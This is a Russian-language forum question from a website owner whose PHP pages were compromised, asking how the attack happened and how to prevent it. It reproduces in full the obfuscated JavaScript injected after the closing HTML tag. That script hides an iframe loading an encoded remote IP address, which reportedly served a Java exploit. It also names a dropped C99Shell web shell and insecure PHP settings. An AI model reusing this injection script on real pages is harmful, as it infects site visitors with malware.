Проблема:
В моем веб-пространстве есть PHP-файлы, которые заканчиваются так:
<?php include 'footer.php'; ?>
Перед этой строкой в файлах также есть HTML-код.
Вывод в браузере заканчивается этим, конечно:
</body>
</html>
Но вчера в конце неожиданно появился какой-то вредоносный код. Вывод моего index.php был:
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Я открыл файл на своем веб-пространстве (загруженный через FTP) и увидел, что кто-то поместил этот код прямо в файл!
Как это могло произойти?
Единственные способы, которые я могу себе представить:
- Кто-то получил мой пароль FTP. Но он не только поместил бы это в один файл. Он мог нанести гораздо больше урона. Поэтому я не могу представить, что это так.
- У меня на компьютере есть вирус. Я использую Notepad ++ для редактирования и FileZilla для загрузки. Возможно, эти программы также были заражены, и я загрузил вредоносный код - не зная.
- Кто-то использовал дыру в безопасности (XSS), чтобы поместить этот код на страницу. Но он не мог положить это прямо в файл, не так ли?
Симптомы:
Пользователи сообщили о появлении синей панели в Firefox. Он попросил их установить плагин. Теперь у некоторых из них есть Exploit.Java.CVE-2010-0886.a на их ПК.
Это из-за вредоносного кода? Что именно сделал код?
Вы можете мне помочь?
Пожалуйста, помогите мне, я действительно в отчаянии.
Может быть, еще один вопрос, если вы знаете, как я мог его получить: как я мог предотвратить что-то подобное в будущем?
Редактировать # 1:
Я нашел файл с именем "x76x09.php" в корневом каталоге моего веб-пространства. Размер файла составляет 44,281 байта. Я скачал и попытался открыть. Но моя антивирусная программа сказала, что это троян (Trojan.Script.224490). Я думаю, что этот файл был выполнен и добавил вредоносный код в «index.php» в каждом каталоге. Это помогает? Как троянец может попасть в мое веб-пространство? Это хорошо известный вирус?
Редактировать # 2:
Мой хостер говорит, что теперь он может быть уверен, что файл не был загружен через FTP. Таким образом, заражение не произошло через FTP. По словам моего хостера, это должны быть небезопасные сценарии.
Редактировать # 3:
дыры в безопасности согласно PHPSecInfo:
- allow_url_fopen = 1
- allow_url_include = 1
- expose_php = 1
- file_uploads = 1 (это виноват во вредоносном файле "x76x09.php"?)
- group_id = 99
- user_id = 99
Редактировать # 4:
Я проанализировал файл, который был выполнен на моем веб-сервере. Вот результаты .
Итак, этот вирус, кажется, известен как:
- PHP / C99Shell.BF
- Backdoor / PHP.C99Shell
- BackDoor.Generic_c.CQA
- Trojan.Script.224490
- Exploit.PHP.635
- Backdoor.PHP.C99Shell.bf
- Trojan.Script.224490
Могут ли некоторые из них вызвать вредоносный файл в моем веб-пространстве, в который был добавлен вредоносный код?